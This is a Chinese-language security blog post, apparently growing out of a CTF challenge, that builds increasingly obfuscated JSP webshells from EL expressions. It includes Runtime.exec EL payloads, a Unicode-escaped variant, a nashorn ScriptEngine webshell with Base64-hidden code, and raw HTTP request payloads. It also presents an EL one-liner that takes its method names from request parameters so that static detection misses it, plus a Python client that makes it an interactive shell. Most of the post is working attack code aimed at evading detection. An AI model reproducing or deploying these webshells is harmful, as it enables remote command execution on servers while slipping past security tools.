从DesperateCat到EL webshell初探
0x00 RWCTF引发的思考
前段时间结束的Realworld ctf里有一道题目**DesperateCat**,这道题目考察的是严苛环境下写webshell的问题,对于写入文件内容的限制其中有一点:
禁止传入圆括号、尖括号、引号等。
如果我们单独处理bypass,那么其实很好解决:
- 尖括号 <% %>:使用EL表达式
1 2 3
|
${Runtime.getRuntime().exec(param.cmd)}
|
这样就避免出现了尖括号。
2.圆括号 () : java 代码编译解析器会识别 Unicode 形式的编码,所可以直接unicode
1 2
| <%\u0052\u0075\u006e\u0074\u0069\u006d\u0065\u002e\u0067\u0065\u0074\u0052\u0075\u006e\u0074\u0069\u006d\u0065\u0028\u0029\u002e\u0065\u0078\u0065\u0063\u0028\u0022\u0063\u0061\u006c\u0063\u0022\u0029\u003b%>
|
但是要完全bypass,显然两者都是不行的,那么最终的方式是采用EL表达式中的 ‘.’ 与 ‘=’ 。
- EL中 . 点号属性取值相当于执行对象的 getter 方法,= 赋值则等同于执行 setter 方法。
1 2 3
| ${pageContext.servletContext.classLoader.resources.context.manager.pathname=param.a}
pageContext.getServletContext().getClassLoader().getResources().getContext().getManager().setPathname(request.getParameter("a"));
|
通过这种方式我们可以获得ClassLoader修改一些tomcat的属性,最终达到利用session写shell的目的,当然到目前这道题目只是完成了一小部分,后面还涉及到如何使Tomcat reload 并实现持久化贮存session的问题等等,各位感兴趣的可以看一下长亭官方的wp。
**这道题目使用EL表达式进行bypass的方式引起了我的注意,通过精心构造EL表达式我们是否能实现更加精简且具有一定bypass能力的jsp webshell?**
0x01 简单尝试与回显问题
我们使用开头提到的EL表达式来试一试:
1
| ${Runtime.getRuntime().exec(param.cmd)}
|
执行是没有问题的,但是我们要制作webshell,没有回显是肯定不行的,这里我联想到了前段时间学习webshell免杀的一种构造方式:调用ScriptEngine来执行js。
我们使用ScriptEngine构造出的webshell是这样的:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| <%@ page import="javax.script.ScriptEngineManager" %> <%@ page import="java.util.Base64" %> <%@ page import="java.io.BufferedReader" %> <%@ page import="java.io.InputStreamReader" %> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <% String s = "s=[3];s[0]='cmd';s[1]='/c';s[2]='"; String cmd = request.getParameter("cmd"); String rt = new String(Base64.getDecoder().decode("JztqYXZhLmxhbmcuUnVudGltZS5nZXRSdW50aW1lKCkuZXhlYyhzKTs=")); Process process = (Process) new ScriptEngineManager().getEngineByName("nashorn").eval(s + cmd + rt); InputStreamReader reader = new InputStreamReader(process.getInputStream()); BufferedReader buffer = new BufferedReader(reader); s = null; while ((s = buffer.readLine()) != null) { response.getWriter().println(s); } %>
|
很好理解,获取nashorn JavaScript引擎实现命令执行。
想到这种方法是因为我们可以尽可能的减少webshell中的代码量,通过传递指定的js代码来执行脚本,从而更好地绕过文件内容检测。
0x02 EL + ScriptEngine
首先我们在webshell中通过反射配合动态传递参数的方式获取Engine并执行eval。
1 2
| ${''.getClass().forName(param.spr1).newInstance().getEngineByName("javascript").eval(param.spr2)}
|
首先反射获取ScriptEngineManager对象:
1
| test.jsp?spr1=javax.script.ScriptEngineManager
|
然后调用js引擎执行脚本,我们将上方给出的ScriptEngine版本的webshell进行改造,将其改造成js版本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| try{ load("nashorn:mozilla_compat.js"); } catch (e){ } importPackage(Packages.java.util); importPackage(Packages.java.lang); importPackage(Packages.java.io); s=[2]; s[0]='cmd'; s[1]='/c whoami /all'; a=""; b=java.lang.Runtime.getRuntime().exec(s).getInputStream(); output+=new BufferedReader(new+InputStreamReader(b)); while ((line=output.readLine()) != null) { o=o+line+"\n" };o
|
然后我们将其传入执行js,最终的包长这样
1 2 3 4 5 6 7 8 9 10 11 12 13
| POST /test.jsp?spr1=javax.script.ScriptEngineManager HTTP/1.1 Host: 172.20.10.2:8080 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.88 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: JSESSIONID=4A34A77B78CD48404804BFD7420A0195 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 414
spr2=try{load("nashorn%3amozilla_compat.js")%3b}catch(e){}importPackage(Packages.java.util)%3bimportPackage(Packages.java.lang)%3bimportPackage(Packages.java.io)%3bs%3d[2]%3bs[0]%3d'cmd'%3bs[1]%3d'/c+whoami'%3ba%3d""%3bb%3djava.lang.Runtime.getRuntime().exec(s).getInputStream()%3boutput+%3d+new+BufferedReader(new+InputStreamReader(b))%3bwhile+((line%3doutput.readLine())+!%3d+null)+{a%3da%2bline%2b"\n"}%3ba
|
然后执行,没有问题。
0x03 进一步混淆
虽然已经可以通过传递指定js脚本执行命令,但仔细来看
1
| ${''.getClass().forName(param.spr1).newInstance().getEngineByName("javascript").eval(param.spr2)}
|
这段代码还是包含了一些较为敏感的关键字,譬如forName、getEngineByName、eval等,作为一个webshell来讲,显然是不够“干净整洁”的;为进一步混淆,我们可以采用动态传递的方式来替换关键字。
在EL表达式中,我们知道获取属性可以使用a.b或者a[‘b’],使用后者就意味着我们可以把所有属性和方法转化成字符串:
1
| ${""["getClass"]()["forName"]("javax.script.ScriptEngineManager")["newInstance"]()["getEngineByName"]("JavaScript")["eval"]("...")}
|
那么这样做有什么好处呢?
首先我们可以随意拼接:
1
| ${""["ge"+"tCl"+"ass"]()["for"+"Name"]("javax.scr"+"ipt.ScriptEng"+"ineManager")["newIn"+"stance"]()["getEng"+"ineByName"]("java"+"script")["e"+"val"]("...")}
|
更重要的是如此我们可以将字符串通过param.xxx来传递,这样就会实现如下的改造:
1
| ${""[param.a]()[param.b](param.c)[param.d]()[param.e](param.f)[param.g](param.h)}
|
测试后可以执行:
这种高度精简就实现了将绝大部分代码通过传递来执行,应当具有较好的静态免杀能力。
0x04 小总结
这个小思路也是启发于星球里的师傅,同时也想到了之前的RWCTF中的题目,而从本质上讲也许可以把它看作是EL表达式注入的变种。
我们从最初的
1
| ${Runtime.getRuntime().exec(param.cmd)}
|
到
1
| ${''.getClass().forName(param.spr1).newInstance().getEngineByName("javascript").eval(param.spr2)}
|
再到
1
| ${""[param.a]()[param.b](param.c)[param.d]()[param.e](param.f)[param.g](param.h)}
|
可以发现这种webshell的优势也很明显:
- 足够小,一句话就可以实现命令执行+回显的功能。
- 避免出现<%、Class、eval等敏感字符,具有bypass能力。
当然这只是个demo,它还可以更美观比如将cmd通过占位符提取出来放到headers里;再比如我们的body有点臃肿,我们直接用python封装实现一个交互式shell也不错。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49
| import urllib import requests
def exec(cmd:str,is_linux:bool): PROXY={"http":"http://127.0.0.1:8081"} url="http://127.0.0.1:8080/test.jsp"
headers={ "Content-Type":"application/x-www-form-urlencoded", "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.0.0 Safari/537.36",
}
params={ "a":"getClass", "b":"forName", "c":"javax.script.ScriptEngineManager", "d":"newInstance", "e":"getEngineByName", "f":"javascript", "g":"eval" }
if is_linux: payload='''try{load("nashorn:mozilla_compat.js");}catch(e){}importPackage(Packages.java.util);importPackage(Packages.java.lang);importPackage(Packages.java.io);s=[3];s[0]='/bin/bash';s[1]='-c';s[2]=\''''+cmd+'''\';a="";b=java.lang.Runtime.getRuntime().exec(s).getInputStream();output=new BufferedReader(new InputStreamReader(b));while ((line=output.readLine()) != null) {a=a+line+"\\n"};a''' else: payload='''try{load("nashorn:mozilla_compat.js");}catch(e){}importPackage(Packages.java.util);importPackage(Packages.java.lang);importPackage(Packages.java.io);s=[3];s[0]='cmd';s[1]='/c';s[2]=\''''+cmd+'''\';a="";b=java.lang.Runtime.getRuntime().exec(s).getInputStream();output=new BufferedReader(new InputStreamReader(b));while ((line=output.readLine()) != null) {a=a+line+"\\n"};a'''
data={ "h": payload } res=requests.post(url=url, headers=headers,params=urllib.parse.urlencode(params), data=urllib.parse.urlencode(data),proxies=None) return res.text if __name__=='__main__': check=exec("id",1) if "id" in check: while True: cmd=str(input("[command]>>")) print(exec(cmd,1)) else: while True: cmd=str(input("[command]>>")) print(exec(cmd,0))
|